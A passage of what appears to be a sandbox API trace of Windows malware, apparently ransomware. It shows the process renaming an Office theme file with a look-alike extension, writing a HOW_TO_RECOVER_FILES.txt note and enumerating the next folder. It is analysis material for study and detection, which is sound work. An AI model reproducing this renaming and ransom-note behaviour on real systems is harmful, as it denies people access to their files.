dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0154.983] GetFileType (hFile=0x644) returned 0x1 [0154.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0154.983] GetFileType (hFile=0x644) returned 0x1 [0154.983] WriteFile (in: hFile=0x644, lpBuffer=0x33cf018*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33cf018*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0154.984] CloseHandle (hObject=0x644) returned 1 [0154.984] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", lpFilePart=0x0) returned 0x51 [0154.984] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml.gоod", lpFilePart=0x0) returned 0x56 [0154.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0154.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58966e19, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0154.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0154.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml.gоod")) returned 1 [0154.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0154.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eca50) returned 1 [0154.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0154.985] GetFileType (hFile=0x644) returned 0x1 [0154.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9c0) returned 1 [0154.985] GetFileType (hFile=0x644) returned 0x1 [0154.986] WriteFile (in: hFile=0x644, lpBuffer=0x33d2720*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ecb18, lpOverlapped=0x0 | out: lpBuffer=0x33d2720*, lpNumberOfBytesWritten=0x200ecb18*=0x5d0, lpOverlapped=0x0) returned 1 [0154.987] CloseHandle (hObject=0x644) returned 1 [0154.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0154.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts", lpFilePart=0x0) returned 0x45 [0154.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial Black-Arial.xml", cAlternateFileName="ARIALB~1.XML")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial-Times New Roman.xml", cAlternateFileName="ARIAL-~1.XML")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial.xml", cAlternateFileName="")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri Light-Constantia.xml", cAlternateFileName="CALIBR~1.XML")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri-Cambria.xml", cAlternateFileName="CALIBR~2.XML")) returned 1 [0154.989] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri.xml", cAlternateFileName="")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambria.xml", cAlternateFileName="")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Candara.xml", cAlternateFileName="")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Gothic-Palatino Linotype.xml", cAlternateFileName="CENTUR~3.XML")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Gothic.xml", cAlternateFileName="CENTUR~2.XML")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Schoolbook.xml", cAlternateFileName="CENTUR~1.XML")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Consolas-Verdana.xml", cAlternateFileName="CONSOL~1.XML")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Constantia-Franklin Gothic Book.xml", cAlternateFileName="CONSTA~1.XML")) returned 1 [0154.990] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Corbel.xml", cAlternateFileName="")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Franklin Gothic.xml", cAlternateFileName="FRANKL~1.XML")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garamond-TrebuchetMs.xml", cAlternateFileName="GARAMO~1.XML")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garamond.xml", cAlternateFileName="")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Georgia.xml", cAlternateFileName="")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gill Sans MT.xml", cAlternateFileName="GILLSA~1.XML")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Times New Roman-Arial.xml", cAlternateFileName="TIMESN~1.XML")) returned 1 [0154.991] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrebuchetMs.xml", cAlternateFileName="TREBUC~1.XML")) returned 1 [0154.992] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tw Cen MT-Rockwell.xml", cAlternateFileName="TWCENM~2.XML")) returned 1 [0154.992] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tw Cen MT.xml", cAlternateFileName="TWCENM~1.XML")) returned 1 [0154.992] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.992] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0154.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0154.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0154.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0154.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts", lpFilePart=0x0) returned 0x45 [0154.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0154.994] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.994] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial Black-Arial.xml", cAlternateFileName="ARIALB~1.XML")) returned 1 [0154.994] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial-Times New Roman.xml", cAlternateFileName="ARIAL-~1.XML")) returned 1 [0154.994] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Arial.xml", cAlternateFileName="")) returned 1 [0154.994] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri Light-Constantia.xml", cAlternateFileName="CALIBR~1.XML")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri-Cambria.xml", cAlternateFileName="CALIBR~2.XML")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calibri.xml", cAlternateFileName="")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambria.xml", cAlternateFileName="")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Candara.xml", cAlternateFileName="")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, 